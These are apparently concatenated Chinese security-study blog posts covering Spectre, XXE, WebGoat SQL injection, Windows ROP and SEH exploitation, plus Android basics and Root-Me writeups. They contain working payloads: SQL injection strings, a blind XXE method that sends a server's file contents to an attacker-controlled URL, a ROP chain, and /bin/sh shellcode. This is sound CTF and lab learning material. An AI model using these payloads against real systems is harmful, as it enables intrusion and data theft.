读入了cache,那么接下来我们就能够利用 cache 的特性 ———— 读取速度比内存块 这一点将数据进行猜测。这种攻击方式我们称之为侧信道攻击。
对于一些数据的猜测攻击,我们有时候可以不直接将数据本身泄露出来,而是可以选择和数据相关的参数,比如
当然不是所有的信息都能够用得上,但是只要由一点能够利用上,就有可能将我们需要的数据从看似安全的环境下取出。
这次的攻击我们利用的就是访问时间。因为此时我们的数据已经被读取到了 cache 上,因此访问的速度和原先的访问速度存在差异。那么我们这个时候就能够通过检测访问当前数组上的元素的时间差异,猜测当前我们访问的数据是不是已经存放到了 cache 中,从而得到我们当前数据的下标,实现信息泄露。
这里结合着网上流传最广的 Spectre 的测试代码吗来分析。首先我们需要可能利用的数组:
1 | // 这个数组表示256个ascii码,在侧信道攻击中用于数据泄露 |
然后,我们可以伪造一个函数,大致的功能是访问array2中,以array1作为下标的数组元素,此时array1尝试访问一个我们想知道数据的地址
1 | void victim(int i){ |
利用这个函数,我们能够将数据作为下标,读入到cache中。
这之后,我们需要一个位置进行侧信道攻击,具体来说可以是如下的形式:
1 | int i = 0; |
然后我们利用一个函数,找到这个可能性最大的值,避免误差的同时,我们可以把次可能的值也列出来:
1 | j = k = -1; |
最后,我们通过检查每个字符出现的次数,决定此时的侧行道攻击是否成功:
1 | if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) |
作为估算,我们此时可以把估算的命中次数一类的值都记录下来,方便调试学习:
1 | // 0下标为相似度最高的数据,1为次高的数据 |
完整的代码参考:
https://github.com/Eugnis/spectre-attack
Q1 关于预测代码,有一段的内容为:
1 | if( i < index_array_size ){ |
既然是利用了缓存,从地址&array2[index_array[i] * 512]
周围的数据读入缓存,再利用侧信道攻击进行数据泄露,猜测这个index_array[i] 指向的数据内容从而进行数据泄露。那么为什么我们不能够直接写成下列的内容:
1 | if( i < index_array_size ){ |
这样的话我们从index_array[i]
中读取的数据应该也会直接写入缓存,此时不是也能够猜测缓存吗?
A1 这个时候,我们知道index_array[i]
会被读入到缓存里面,但是利用侧信道攻击的话,只能够猜测当前array2
的数组的下标值,而没办法猜测当前的数组的值。所以只能将当前需要查询的数据放入数组下标,才能够利用侧信道攻击。
Q2 关于预测代码的一段:
1 | mix_i = ((i * 167) + 13) & 255; |
这段为什么不能够顺序访问呢?
A2 因为这个时候,如果我们顺序访问的话,CPU 会预测下一步的位置,从而让我们的侧信道访问时间受到干扰,于是这里打乱访问的顺序,从而能够强化侧信道攻击的效果。
参考网站:
https://en.wikipedia.org/wiki/Branch_predictor
今天写了一个脚本,发现结果总是不对,然后发现问题出在如下的位置:
1 | class Test(object): |
(有一点改动)
然后发现一个奇怪的事情,当我调用test
的函数的时候,输出如下:
1 | >>> test.test([1,2]) |
嗯嗯???
我就是懒了一下没写zip
,怎么就遍历错了呢??
这个原先的想法是让i遍历input_num,j遍历weight,正常的写法大概就是如下:
1 | for i, j in zip(input_num, weight) |
后来再大佬的点拨下,发现这个表达式完全可以如此理解:
1 | for (i,j) in (tuple_of_input_num, tuple_of_weight) |
这个写法可能不妥,大概表达的意思是i,j作为一个整体,然后依次 unpack in关键字后面的数据。
然后我们再修改一下代码:
1 | 5) input_num.append( |
然后发出了如下的报错:
1 | ValueError: too many values to unpack (expected 2) |
果然,这里是把i,j
作为了一个整体来考虑数据。
那zip
是怎么实现同时迭代多个对象的呢?我们来看一下接下来的代码:
1 | zip([1,2],[3,4]) t = |
可以看到,zip
会将当前的两个可迭代对象放在两个tuple
里面,也就是说,其实我们如下的代码:
1 | for i,j in zip([1,2], [3,4]) |
等价于
1 | for i,j in (1,3),(2,4) |
过几天又遇到了一个奇怪的现象:
1 | tmp = [(i,j) |
我理想中的输出是:
1 | [(1,4),(2,5),(3,6)] |
但是实际上却是:
1 | [(1, 4), (1, 5), (1, 6), (2, 4), (2, 5), (2, 6), (3, 4), (3, 5), (3, 6)] |
仔细思考之后,大概明白了上述的写法其实应该等价于
1 | for i in [1,2,3]: |
emmm…感觉我对python还是了解不够啊
]]>XML
作为传输数据的格式之一,主要是将数据以树的方式存储,能够方便的以对象的方式读取数据。
1 |
|
第一行是XML
声明,其定义了XML
使用的版本,以及内容使用的编码。
之后的则是节点,其中<note>
是作为根节点存在。之后的<info>
作为其的子节点。
XML的属性必须要用引号括起来。
在XML
中,必须要有根节点,也就是说要有一个独立的节点,其他的属性归在这个节点之下
DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。如果我们需要使用DTD,则需要在文档中包括下列内容:
1 |
1 | <?xml version="1.0"?> |
这里的意思是:定义一个note属性的文档(也就是说note为根节点),然后note之下有两个元素child1,child2,两个的属性都定义为(#PCDATA)
(PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。)
除了直接指明包含子节点
,也可以指定包含任意内容
来包含子节点
1 |
如果说这个DTD文件是外部的文档的话,我们应该将头部修改为如下定义:
1 |
这里定义一个和上面基本相同的文件,不过这里我们使用外部文档:
1 |
|
其中note.dtd
文件的内容如下:
1 |
定义如下:
1 |
如果来自外部的话,和外部文档定义类似:
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
当时用实体的时候,使用&实体名称;
的格式。并且如果定义了根节点,那么此时要在根节点的声明下,如下例子:
1 | <!DOCTYPE student [ |
此时grade
的外部一定要是当前文档的属性包括,不然的话会找不到当前的定义。
测试:如果此时去掉了student的Element声明,此时grade就不需要在student下了
参数实体
这种实体会先进行DTD
解析。并且也只能在DTD
中使用
1 |
|
这种特性会在%实体名;
处对这个对象进行解析。比如下列例子:
1 | <!ENTITY % a "<!ENTITY b 'app'>"> |
解析后会变成
1 | <!ENTITY b 'app'> |
类似于宏,不过根据规定,不能够有对自己内部的参数实体的引用,也就是说自己定义的参数实体不能被自己的实体引用
外部实体注入(XML External Entity),也就是通过包括外部实体的方式,实现任意文件读取的功能。
1 |
|
通过类似的应用方法调用协议,就能够读取到我们需要读取的数据,实现数据泄露。
有的时候,我们及时成功的注入了,服务器那边也没有给与我们回显怎么办(比如说,我们这个xml
传输只是作为数据存储使用,所以此时没有回显给我们看到)?这个时候我们就要考虑利用一次DTD
作为跳板,让远程的数据在我们可以控制的服务器上显示。
这种时候,我们首先利用参数实体解析的特点,首先发往对面服务器的数据为:
1 |
|
此时,这个dtd
在服务器上机会开始被解析(evil的使用时关键之一)。当解析遇到了 url 的时候,便开始将这个实体解析。由于发现是一个外部连接,于是开始解析外部的dtd
实体。此时我们外部的实体中内容为:
1 |
|
此时,我们外部实体中的数据也是一个xml,并且我们这边会将内容发送至服务器那解析。于是内容就变成了
1 |
于是这个对象就定义完成了。服务器此时遇到了evil
实体后,就会尝试发起请求,并且这个请求的url就是:
1 | http://oursite.com/record?text=[secret.txt的文件内容] |
于是就能够实现数据的泄露!。
疑问:为什么不直接将这个地址写死呢?
比如说http://localhost:8081/landing?text=file:///C://Users//secret.txt
这样的链接可行吗?
如果直接写死的话,此时不经过解析,所以不会打开文件。
疑问:为什么不再本地进行解析
比如说:
1 | <?xml version="1.0" encoding="utf-8"?> |
这个是XML语法规定,参数实体引用 \\"%file;\\"
不能出现在 DTD 的内部子集中的标记内。换句话说,当实体声明(也就是一个<ENTITY>
定义)的时候,不能够有对自己内部的参数实体的引用。但是,如果说引用了数据的标记不是内部子集,也就是来自外部的数据的话,就能够实现对该数据的引用。
第一步,检测是否有 XML 的解析器
1 |
|
如果有的话,检测能否支持外部实体:
1 |
查看服务器日志即可。
WebGoat有一个和评论区留言有关的题目,可以看到抓到的包为:
这里能够看到,是一个简单的json
传输块。题目还提到说,这个位置的利用方法是JSON endpoints being vulnerable to XXE attacks
,则此时猜想,服务器后台可以解析XML,那么此时将包中的:
1 | Ccontent-type |
属性中的json
改成xml
,并且将发包的内容改成:
1 |
|
即可实现泄露数据
第三个和评论区相关的题目没有回显,我们得利用之前提到的数据泄露的方法。我们此时和上述介绍的做法类似,首先要新建一个evil2.dtd
1 |
|
然后将原先发送的数据包内容改成:
1 |
|
然后我们在WebWolf
(搭建在本地8081端口上的临时服务器)中查看访问得到的数据:
这里看到的 text 中的数据就是我们泄露的数据啦
hsqldb
,资料比较少,可能有整理不全面的地方,以后慢慢补上首先尝试最简单的注入:
现在我们已知后台的 SQL 查询语句如下
1 | "select * from users where name = '" + userName + "'"; |
这里我们只需要让where
的判断条件恒为真就能够将所有的users
取出来。在没有语法错误的前提下,我们可以写成如下形式:
1 | select * from users where name = '' or 1=1 -- '" |
--
表示注释,这里把后面的'
注释了,从而避免了 sql 的语法问题
从第一个表中我们得到表的大致信息:
1 | USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, |
然后第二张表的内容是:
1 | CREATE TABLE user_system_data (userid varchar(5) not null primary key, |
此时我们要利用第一关中的漏洞读取第二张表的内容。利用第一关泄露的信息,首先先无脑试一下:
1 | Snow' union * from user_system_data -- |
此时会发现,我们的表列数不一样。于是我们更改一下写法:
1 | Snow' union select userid, user_name, password, cookie, 1, 2, 3 from user_system_data -- |
这个时候居然报错提示incompatible data types in combination
,猜测是对不同类型的数据进行了检测之类的。于是修改注入逻辑为:
1 | Snow' union userid, NULL, NULL, NULL, NULL, NULL, NULL from user_system_data -- |
发现还是报错,于是猜测userid
为 int 类型。使用cast
进行强制类型转换,发现猜测没错
1 | Snow' union select cast(userid,int), NULL, NULL, NULL, NULL, NULL, NULL from user_system_data -- |
之后的类型也按照类似的猜测方法,得到最后的注入语句:
1 | Snow' union select cast(userid as int), user_name, password, cookie, NULL, NULL, 1 from user_system_data -- |
(这段参考至队友skywalker_z)的教学以及xm1994指点,感谢大佬
的指导
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。 有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。information_schema
提供了访问数据库元数据的方式,这里只要把它当成一张表就好。
通过利用这个表,我们就能够从里面拿到当前我们能够接触到的数据库以及表,表中的列等等。
1 | SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata |
1 | SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'database_name |
1 | SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name' |
这个时候我们要结合着报错来使用。这个报错可以不是明显的报错,可能是页面的回显出现问题(利用盲注里面的sleep
函数),或者是某种特殊的返回。我们这个时候可以利用条件语句来进行猜测。这里提一下hsqldb
这个数据库,这个数据库的操作和别的有点不一样:
1 | select case when(SELECT ip FROM SERVERS WHERE hostname%3d'webgoat-prd') LIKE 'S%25' then 1 else 2 end from information_schema |
这里解释一下里面的内容的含义:
%3d
和%25
: 这个是=
和%
的url
编码,有时候用=
好像也是可以,但是传输的数据中不允许只出现一个%
,所以要使用url编码。hsqldb
的语法是case when condition then 1 else 2 end
。这里的 condition 里面能够放select expression + 比较类型的语句
。%25
(也就是%
)是sql
里面的任意字符替换的意思,和正则中的*
一样。这里的意思就是猜测当前ip
列的第一个字符是不是S
,是的话就调用1语句,否则调用2语句。一般来说可以利用行数量不等的方式,分别使用合法类型和*
来实现猜测正确的时候回显正常,猜测错误的时候回显报错
这个类型和网上的MYSQL
的那个差不多:
1 | if(substring(user(),1,1)=0x72,1,0x00) |
也就通过在2处填写会发生发错类型的语句,然后猜测当前的条件是否为真,从而实现数据猜测。这个猜测的过程可以套到上述的语句里面:
1 | select case data when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end |
套入之后,如果我们返回了1,则说明此时猜测正确,否则就是猜测错误。
假设此时我们不知道有哪些列,那么我们此时可以通过order by
这个关键字来进行列的猜测:
1 | order by 1 |
此时如果不会报错,说明当时的数据就按照第一列的顺序进行了排列,那么此时就存在当前列。我们可以一直修改指导知道出现报错,就能够知道当前有多少列了。
这个漏洞的形式一般是:
1 | "select * from user order by '" + order_id + "'" |
这个地方的注入点一般都是一个利用之前提到的case when
的方法进行数据猜测:
1 | case when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end |
通过爆破的方法能够猜测到需要的数据。
这道题我之前用了一些办法把库的名字给搞到了,库名是SERVERS
。这个题目从题目内容中可以猜测到,可能有一个ip
地址不符合需求没有被显示出来。(后来看到答案之后知道是因为ip不再一个域内)。然后利用这个猜测的办法,把一个存在数据库中,但是本身并没有被传输到前台的数据传输了过来。
1 | import requests |
之前的题目中,我们有报错提示,所以能够根据出错一点点的尝试我们的 sql 语句。然而很多时候报错信息是会被关闭的,这个时候我们就不能够通过报错信息调整我们的 sql ,甚至不知道这个地方是否存在注入点。
比如说,我们有一个可能存在注入位置的url
1 | https://my-shop.com?article=4 |
这种时候,我们有两种办法来判断注入。
这个article
是不是注入点呢?我们可以通过尝试以下两种情况来判断:
1 | article=4 AND 1=1 |
1 | article=4 AND 1=2 |
如果第一种情况下,网页能够继续显示内容,而第二种情况不能正常显示的话,就说明这个article
的位置上存在注入。
这种方法可以通过返回的时间长短来判断:
1 | article = 4; sleep(10) -- |
这里
--
: 用来将当前语句的后方内容全部注释掉/**/
: 将包括在其中的内容注释掉+
: 用于连接不同的字符串
union
: 可以将两张表的查询结果合并。在注入中可以实现查询另一张表的功能。不过前提是当前的列数相同,列属性也要相同
cast( colunm as types)
:将 column 中的数据转换成 type 类型。
关于ROP,其实在不同的环境下,有很多的构造方法,当然使用合适的工具也是很重要的一环,比如说linux下的ROPGadget
,windows下的mona
都是很好的选择
SafeSEH
和GS
弹出计算器
一个典型的栈溢出,DEP导致我们不能跳转到栈上,这种情况下windows下常见思路有两种
jmp esp
这里针对第二种讨论。
给出一个之前看到的很棒的思路(用python生成ROP):
1 | def create_rop_chain(): |
这个写法真的很巧妙。我们来一步步分析它的行为
首先我们已知当前是栈溢出,那么我们的目标有两个
VirtualProtect
shellcode
关于VirtualProtect
,这里给出函数原型
1 | VirtualProtect( |
通过这个函数,我们能够修改栈的权限。观察函数的参数,发现其中有两个变量的数据是固定的,另外两个则是要根据运行时的程序确定,此时我想到的问题就是:
shellcode
的位置?或者说,如何将esp
的值传入到栈中?我构想过如下思路:
mov reg32, esp; ret --> push reg32; ret;
如何?但是直接这么用的话不能保证传参是连续的,因为有过一次ret之后,说明下一个地址也是存在栈中的,会卡住后面的参数传参
可以看到,如果这样处理的话,虽然我们可以传入一个当前的esp,但是不能保证之后的参数能够按照我们的想法赋值,所以这个思路不同
push esp; pop ebp; ret --> xchg eax, ebp; ret
这个思路倒是可以,不过这样的话同样需要满足参数在栈中相邻这个要求,这样就比较复杂。
pusha
可以说是神器一号,pusha这个指令会将所有的寄存器保存在栈中,包括esp(为调用pusha之前的esp的值),如果说我们首先将需要传递的参数按照pusha
的推入顺序放在指定的寄存器中,那么调用pusha
的时候,所有的参数都将会是相邻的
pusha
1 | push eax; |
以下这几步做的就是将VirtualProtect
的参数传入的操作。
1 | 0x77933b03, # POP EBX # RETN [ntdll.dll] |
(漏了lPAddress?回想一下栈中的位置以及pusha传入的参数)
我们假设我们已经调用了pusha
,那么我们可以想象到,第二个问题就是
VirtualProtect
呢?
(纠错:此时 esp 指向的是 edi 的位置)
(有点违和?想一想pusha的时候,栈中本来的gadget是不是被各个寄存器给覆盖掉了?)
上图是按照给出的shellcode重现的情况(部分未分析的地方没有提到)。由图可知,我们根本没有办法调用到那个VirtualProtect
!所以我们不能直接的把函数地址填写到栈上,我们可以采取一种稍微绕弯的gadget
1 | mov eax, &VirtualProtect; |
按照上面的写法,我们可以算是调用了VirtualProtect
函数,而且最关键的是,这样处理的时候函数调用的时候不需要紧密联系栈,此时只需要关心栈中的数据就可以了。于是我们为了满足栈中的处理,可以使用下面的gadget
1 | 0x6ad696ed, # POP EDI # RETN [MSVCR110.dll] |
加入了这些数据之后我们可以看栈现在的情况
此时的esp
正好指向一个距离参数为esp + 0x8
的位置,并且发生了函数调用,完全就是模拟了call VirtualProtect
。太棒了,这样我们就能够调用VirtualProtect
函数了!
(如果将寄存器倒过来放,强行构成一个函数调用栈?看后面提到的VirtualProtect
的特性)
gadget
的位置,要用这个来调整 esp 吗?VirtualProtect
返回的ret和普通的函数返回不太一样,返回为
1 | ret 0x10 |
这个指令的意思是将返回地址交还给eip之后,esp += 0x10
这样的话上图中的esp
正好就会落在eax
的位置上,并且此时的eip的值为&VirtualProtect
,也就是说最后一个寄存器EBP
的值可以开始调用了:
1 | 0x6add435d, # POP EBP # RETN [MSVCR110.dll] |
通过pop ret
,让esp正好落在了jmp esp
上,实现了shellcode
的调用
附上当初为了思考的时候画的结构图
1 | stack bottom |
程序的运行并不总是那么稳健,有时候会因为一些错误抛出异常或者导致崩溃。那么如果我们的逻辑中有应对异常的办法,那么就能够保证程序的健壮性。 Windows 下就提供了一种用来处理异常的机制 — Structured Exception Handling
在微软支持的 C / C++ 编译器优化中,支持如下的代码结构:
1 |
|
和别的语言差不多,都是try中放可能会出错的代码,except中存放抛出指定异常的时候的处理代码,finally中则是无论异常是否触发都会进行的最后的收尾工作
当一个异常的事件被抛出的时候,系统会首先调用函数RaiseException
来描述当前线程中的异常的基本信息,然后会决定是否要执行当前的程序。根据不同的情况,异常可以分为可以继续执行的和不可以继续执行的两种类型。当异常发生的时候,程序首先再当前位置停止当前的进程,然后即将控制权交给系统。系统首先会保存当前进程的基本信息,然后会尝试去寻找一个异常句柄(Exception Handling)来处理异常情况。当前上下文的信息会被存储在一个叫做CONTEXT的结构体中,这些信息用于再完成异常处理后继续运行(如果程序还能够继续运行的话)。这些异常的信息都被存储在一个叫做EXCEPTION_RECORD的结构体中。当处理完异常之后,根据异常类型决定是终止当前进程或者是继续运行。
SEH
的位置如下
其中有一部分的内容从微软的官方文档中好像不容易找到,于是从网上搜集来的信息如下SEH Handler
对象存储形式:
大致就是如下的结构体
1 | struct SEH Handler{ |
第一个变量记录了下一个SEH Handler
的位置,except_hander_ptr
函数则是记录了当前的异常处理函数的地址。
这个SEH Chain
就是由这些节点组成的。其中这个节点的末尾的 NextSehHandler 为-1,表示当前节点已经到达尾部,并且该节点上的函数一般都是ExitTread/ExitProcess
,用于终止当前的进程(也就是说,如果无法处理这个异常的话,我们就终止该进程,没毛病)。
当异常抛出后,系统会对当前的异常程序进行展开,检查当前的 except handle 能否处理当前的异常,如果不行的话就遍历这个SEH Chain
,如果找到了可以处理异常的节点后,会重新遍历SEH Chain
,不过这一次是直接访问对应的except_handler
,并且调用函数进行处理。
GS_ExceptionPointers
1 |
|
变量含义如下:
1 | +--------------------------------+--------------------------------------------------------------------------+ |
RaiseException
1 | void WINAPI RaiseException( |
变量含义如下:
1 | +--------------------------------+--------------------------------------------------------------------------+ |
EXCEPTION_RECORD
1 | typedef struct _EXCEPTION_RECORD { |
变量含义如下:
1 | +------------------------------+--------------------------------------------------------------------------+ |
except_handler
1 | except_handler( |
函数作用:
该函数即为SEH这个流程中会调用的异常处理函数。当异常发生的时候,这个函数就会接住抛出的异常并且对其进行处理。
关键:
上述大部分变量,关键变量EstablisherFrame表示的意思是当前SEH栈的起始位置,这个地方往往会成为pwn的位置。
由于SEH是以链表的形式存在的,其链表头部存在于FS:[0]
中,我们可以通过检查代码中是否包含这段代码来确定这个SEH的头部在哪(以下是这段代码的操作码)
1 | 64A100000000 |
使用指令
1 | !exchain |
可以直接展示当前程序中的SEH
1 | d fs:[0] |
查看当前SEH的起始地址
前面讲了一大堆,其中最关键的对象就是栈中的 SEH Handle 存储的形式这点:
这里可以看到,如果我们能够知道哪一个 SEH Handler函数能够处理我们引发的异常,我们就可以通过触发对应异常,并且修改对应指向except_handle的函数地址完成eip的劫持!
此时我们需要知道我们填写的shellcode的地址,并且控制程序流跳转上去。这里给出我们需要的payload的形式:
让我们结合上述的的payload来讲一下这个思路好了:
在进行异常函数调用的时候,esp的位置发生了变化。然而根据上面的函数可以知道,每一个SEH Handler
中都会存储变量EstablisherFrame
,这个变量就是我们的SEH Chain
的起始地址,也就是一个我们可以控制的esp地址,此时程序企图调用函数except_handler
的时候,栈中的情况如下
纠正了之前描述相反的说法
1 | +----------------------+ |
当except_handler
进行调用的时候,此时的esp+8
的位置上正好就是EstablisherFrame
,因此如果我们给出如下ROP:
1 | pop ; 弹出 back address |
那么此时就能够控制程序流,跳转到EstablisherFrame上,也就是SEH Chain
的开头(上图的Jmp处)了!
然而此时的程序如之前的payload,eip
当前的位置后4个字节就又是pop pop ret
的地址,这样下去的话并不能跳转到我们的shellcode上,于是我们将这个位置填写成一个向后跳转四个字节的代码
1 | jmp 0x6 ;"\xeb\x04" 不要忘记自己的两个字节也要跳过去 |
跳转后,就正好落到我们的shellcode上了!
这里以一个实际例子来说明SEH的触发。
函数的大致逻辑如下:
1 | File = _fopen(argv[1], "rb"); |
程序本身逻辑很简单,接收一个传入的参数表示当前读入程序的文件,然后通过检测文件本身的长度,将文件内容读入缓冲区中并且输出到屏幕上。由于打开了GS
,所以会出现函数__report_rangecheckfailure()
这类内容。
这个题目看起来就是一个简单的栈溢出,但是由于有GS
,所以如果我们只是单纯的输入过长的内容,会导致变量len的长度高于0x20,引发__report_rangecheckfailure。这个函数我上网找到的资料比较少,大致就是通过检测读入到栈中数据的长度和预定义的数据长度比较,从而检测栈溢出。于是如果我们像正常程序一样处理,此时程序逻辑就会如下:
从上述逻辑中可以看到,这个时候原先处于main函数中的 SEH 已经不再参与到整个程序流程中了(可能只是我没有观察到?不过至少是无法利用 main 函数中的 SEH 了)。
这样看来,我们就没有办法触发当前main函数中的异常了。。。。吗?
这个时候要回到观察我们的_fread
函数。函数的关键逻辑如下:
fread函数中的核心逻辑有一段memcpy
的逻辑,这个逻辑只是简单的调用rep
,没有进行长度限制之类。于是在这个地方就可能发生越界读写。我们这边正是利用了这个思路,将数据写至栈底以下,触发页保护从而引起异常。
由于这个是本地测试的题目,所以我们倒是不用考虑地址泄露啥的,直接用调试器计算出来就好。首先通过peda中的工具pattern
算出当前距离SEH handler 的距离为88,然后根据此编写shellcode的生成程序:
1 | # -*- coding:utf-8 -*- |
给个弹出来的计算器一个特写~
参考文章
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/
上周末下了一个冒险岛来玩,打算这周末休息的时候玩一下。结果打开的时候突然报错:
车祸了呀!!!!我的周末呢!!
可恶我的冒险岛我不会放弃你的!
仔细看了以下,这个弹框的上面好像有一个软件的名字:
1 | themida |
这个东西好像是一个壳嘛!上网搜了一下,果然是,这个壳会检测当前内存中是否存在对文件内容或者注册表监控的程序。我仔细想了以下,最近好像下了一个叫做PROCMON的神器,它的功能就是监控当前系统中的所有文件、注册表、网络操作。如果不是影响了我玩游戏,我本来是打算大吹一波来着,但是现在看来。。。唉
可是仔细一想,我下载这个文件的时候,并没有进行安装,而是下载了就拿来用,所以我的第一想法是:
这个程序会修改注册表\往文件夹写文件,导致被检测到
于是祭出第二个神器Everything。将当前名字为PROCMON的程序都搜了出来,并且一一删除。这个时候,我注意到了这个:
这个好像删不掉呀???我试过重启大法,或者直接反找它的对应驱动(但是没找到QvQ),都没能把它删掉!!
好吧让我一一排除。之后打开注册表,把关键字是PROCMON也全删掉了。这下没问题了吧。。。。
[哔哔哔哔!!!!]
现在大概能够猜到,这个文件可能就是内存驻留?!虽然上课听到过,没想到真的遇到了,大概的操作就是将自己作为驱动,被某个系统级别的程序调用,此时每次开机的时候这个驱动自然就被加载了,就能够做到驻留内存。
现在不是复习的时候呀!每次删掉,都会提示那个令人感动的话语
1 | 当前程序已被其他进程占用 |
哇之前的病毒君也是这样!!!就不能友好一点吗?!!!
如果进入安全模式呢?
冷静下来想了一下,听说安全模式下计算机会尽可能少的启动服务,那么安全模式下,加载这个驱动的服务会不会还没有被启动呢?尝试了一下在命令行下启动然后删除文件,结果还真的成功了。。
顺便,这个驱动在文件里面是唯一有隐藏属性的小朋友,看来是相当的不老实
现在游戏和PROCMON不能共存了有点遗憾,有没有解决的思路呢?
这个是最常见的。一个Activity就是一个单独的屏幕(前端)。一个Activity的生命周期如下:
启动顺序
1 | onCreate() -> onStart() -> OnResume() |
销毁
1 | 内存不紧张 内存不紧张 |
跳转到另一个活动的Activity(注意调用顺序)
1 | 1st Activity onPause() -> 2nd Activity onCreate() -> onStart() -> OnResume() -> 1st Activity onStop() |
返回到前一个Activity(此时第二个Activity算作结束)
1 | 2nd Activity onPause() —> 1st Activity onRestart() -> onStart() -> onResume() -> 2nd Activity onStop() ->onDestroy() |
由于其他程序弹出,导致暂时挂起(Run -> Pause)(例子:正在切换app的时候,当前app依然是可以被看到的)
1 | onPause() |
完全不需要展示的时候(Pause -> Stop)(丢在后台)
1 | onStop() |
从后台进入活动(Stop -> Run)(从后台启动至可视)
1 | onRestart() -> onStart() -> onResume() |
上述方法,我们都能够通过**覆盖(override)**的方式复写,从而定制功能。
Intent为Activity的通信模块。Android中的Activity都是利用Intent进行通信。利用Intent,可以启动Activity/Service/Broadcast例如:
1 | +--------------------+----------------------------------------------------------+ |
Intent中,可以定义如下的属性
设置好属性之后,根据我们指定的Intent类型,调用函数:
1 | startActivity/startService/startBroadcast |
进行Intent调用
所有的Activity都需要在这个配置文件中生命,否则的话程序不会识别该Activity,强行运行的时候会直接闪退。
与Activity相对,在后台运行的程序。Service有两种不同的类型:
这两者的区别在于:
Started Service由其他的组件调用startService的方法调用,常用于本地服务。此时Service的onStartCommand的方法被调用。并且在当前状态下,其生命周期与启动的组件无关,并且会在后台无限运行,甚至在调用者已经被销毁。因此,在完成任务后,必须通过调用stopSelf的发给发停止,或者其他的组件调用stopService的方法停止。
启动服务
1 | 第一次创建 |
终止服务
1 | stopService -> onDestroy -> Service Stop |
Bound Service主要是远程服务,调用者与服务绑定在一起,调用者一旦推出服务器也会终止。
启动服务
1 | 第一次创建 |
终止服务
1 | onUnbild -> onDestroy |
同样,Service也需要在此文件中进行声明。
这两个作为一组使用,用于处理广播事件。当发生事件,比如说收到短信、电话呼入等等事件的时候,这个事件就会进行广播,此时所有对这个事件感兴趣的Receiver就能够对其进行接收。
无序广播(Normal Broadcasts): 异步广播,在逻辑上能够在同一时刻被所有的接收者接收到。缺点就是接收者不能将当前的消息处理结果交给下一个人
有序广播(Ordered Broadcasts):根据优先级进行顺序传输,其中优先级是在Menifest中对类生明中的<intent-filter android:priority>
设置,级别越高传输的优先级就越高。
BroadcastReceiver.abortBroadcast())
。当前的广播如果被终止了,那么后面的接收者就不能够接收到广播,从而阻止一些事件被其他对象收到。接收者可以使用函数setResultExtras(Bundle)
将当前对广播的处理结果存入,然后传给下一个接收者,通过代码:Bundle bundle =getResultExtras(true))可以获得上一个对象存放的处理结果。public void onReceive(Context context, Intent intent)
,通过函数intent.getAction()
能够得到当前广播的名字。receiver
,并且注册当前的权重。主要两种方法——静态注册和动态注册
在完成了直接在Menifest中添加代码:
1 | <receiver android:name="clsReceiver"> |
静态注册是常驻型,也就是说当应用程序关闭之后,如果有信息广播到来后,如果有信息广播来,程序也会被系统调用自动运行。
首先获得一个filter对象IntentFilter filter = new IntentFilter();
,然后往这个filter中加入filter.addAction(String ACTION);
这之后设置当前的优先级filter.setPriority(Int);
最后调用registerReceiver(Receiver, filter);
完成注册。
动态注册不是常驻型的,也就是说activity生命周期结束的时候,这个注册的事件就会结束。
onReceiver的生命周期比较短,其对象在onReceive调用完成后结束,所以尽量不要在Receiver中开启多线程
主要用于负责数据的交互,将程序内部的数据与外部的数据例如通话记录,短信等,它主要的作用就是将程序的内部的数据和外部进行共享,为数据提供外部访问接口,被访问的数据主要以数据库的形式存在,而且还可以选择共享哪一部分的数据。这样一来,对于程序当中的隐私数据可以不共享,从而更加安全。
(具体还没有用过,待完善)
参考博客:
(https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html)[https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html]
(https://www.jianshu.com/p/51aaa65d5d25)[https://www.jianshu.com/p/51aaa65d5d25]
1 |
|
很显然,username
处存在溢出,然后可以看到,在这个变量的下方,定义了一个函数指针,我们可以通过覆盖这个函数指针,让程序最后执行这个函数的时候,变成执行shellcode。
1 | `python -c "print 'a'*512 + '\x44\xa2\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'"` |
1 |
|
一如既往的没有开防护。这个题目牵扯到环境变量,有点麻烦。观察可以知道,这里的strcpy存在漏洞:
1 | if((ptr = getenv("PATH")) == NULL) |
这个env直接是以变量的形式存放在栈中,这样的话如果ptr所指向的字符串地址过大的话,那么此时函数的返回值地址就会被修改成我们指定的地址。
1 | app-systeme-ch8@challenge02:~$ env | grep SHELL |
这里可以知道,这个PATH
变量中的字符串长度为109。我们这里可以使用export
指令对当前的环境变量进行设置,我调试的时候开了tmux,所以PATH长度多了一点,不过只要计算一下即可。于是能够想到这个题目的攻击思路:
1 | +------------------------+ +---------------+ +---------------+ |
加上没有打开ASLR,所以应该很简单(吗?)
这个题目虽然非常的简单,但是其调试起来很麻烦,因为我们使用gdb的时候,环境变量发生了一点变化,导致当前栈的位置和直接运行的时候有所差异。比如说,在gdb调试模式下,我们能够看到我们的返回值地址如下:
1 | 0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924 |
但是实际上,经过我的测试,返回值地址在实际运行时候的地址变成了0xbffff78c
,两者之间存在差异。虽说返回值可能不受影响,但是为了保证我们能够跳转到USERNAME的地址上,我们需要知道当前栈中地址的变化,或者说至少知道USERNAME的起始地址。
这里就要提到一个工具叫做ltrace:
ltrace可以通过跟不同的参数,显示此时使用的系统调用,花费时间等等。这里暂且介绍其观察调用进程的功能:
